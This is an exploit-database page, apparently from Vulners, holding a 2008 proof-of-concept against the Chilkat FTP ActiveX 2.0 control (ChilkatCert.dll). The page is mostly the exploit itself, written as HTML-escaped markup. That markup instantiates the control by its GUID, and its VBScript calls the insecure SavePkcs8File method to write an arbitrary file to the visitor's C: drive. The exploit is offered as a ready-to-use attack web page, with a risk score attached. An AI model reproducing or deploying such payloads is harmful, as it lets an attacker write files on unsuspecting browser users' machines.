Chilkat FTP ActiveX 2.0 (ChilkatCert.dll) Insecure Method Exploit

🗓️ 31 Jan 2008 00:00:00Reported by RootType
Chilkat FTP ActiveX 2.0 (ChilkatCert.dll) Insecure Method Exploi

                                                &lt;body&nbsp;bgcolor=&quot;#000000&quot;&gt;

&lt;div&nbsp;align=&quot;center&quot;&gt;

&lt;pre&gt;&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;verdana;&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;=======================================================================
&lt;/font&gt;&lt;/div&gt;&lt;center&gt;
&nbsp;&lt;h1&nbsp;id=&quot;product&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&nbsp;size=&quot;2&quot;&gt;Chilkat&nbsp;FTP&nbsp;ActiveX&nbsp;2.0&nbsp;(ChilkatCert.dll)&nbsp;Insecure&nbsp;Method&lt;/font&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;font&nbsp;size=&quot;2&quot;&gt;&nbsp;Web&nbsp;site&nbsp;:&nbsp;&lt;a&nbsp;href=&quot;http://www.chilkatsoft.com&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;www.chilkatsoft.com&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;&lt;font&nbsp;size=&quot;2&quot;&gt;=======================================================================&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;&lt;span&nbsp;style=&quot;font-style:normal;&nbsp;font-variant:normal;&nbsp;font-size:10pt;&nbsp;font-family:Verdana;&nbsp;font-weight:700&quot;&gt;Author:&nbsp;darkl0rd&lt;br&gt;&nbsp;&lt;br&gt;E-mail:&nbsp;[email protected]&lt;/span&gt;&lt;br&gt;&lt;span&nbsp;style=&quot;font-style:normal;&nbsp;font-variant:normal;&nbsp;font-weight:normal;&nbsp;font-size:10pt;&nbsp;font-family:Verdana&quot;&gt;&lt;br&gt;&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;6&lt;/span&gt;&lt;/font&gt;&lt;/h1&gt;&lt;p&nbsp;id=&quot;product&quot;&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&gt;Class&nbsp;privateKey&lt;/font&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&gt;GUID:&nbsp;{A934AEE3-8896-485F-8A55-ACF2A87BD010}&lt;br&gt;Number&nbsp;of&nbsp;Interfaces:&nbsp;1&lt;br&gt;Default&nbsp;Interface:&nbsp;IPrivateKey&lt;/font&gt;&lt;/p&gt;&lt;p&nbsp;id=&quot;product&quot;&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&gt;SavePkcs8File&lt;/font&gt;&lt;/p&gt;&lt;/center&gt;

&lt;div&nbsp;align=&quot;center&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;&lt;object&nbsp;classid='clsid:A934AEE3-8896-485F-8A55-ACF2A87BD010'&nbsp;id='over'&nbsp;align=&quot;left&quot;&nbsp;width=&quot;1&quot;&nbsp;height=&quot;2&quot;&gt;&lt;/object&gt;
&lt;input&nbsp;language=VBScript&nbsp;onclick=lose()&nbsp;type=button&nbsp;value=&quot;Exploit&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;lose
&nbsp;&nbsp;&nbsp;mystr=&quot;c:\darkl0rd.txt&quot;
&nbsp;&nbsp;&nbsp;over.SavePkcs8File&nbsp;mystr
&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;&nbsp;Done&nbsp;!&nbsp;&quot;)
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;

&lt;/font&gt;&lt;/code&gt;&lt;/div&gt;&lt;/p&gt;
&lt;/pre&gt;
31 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1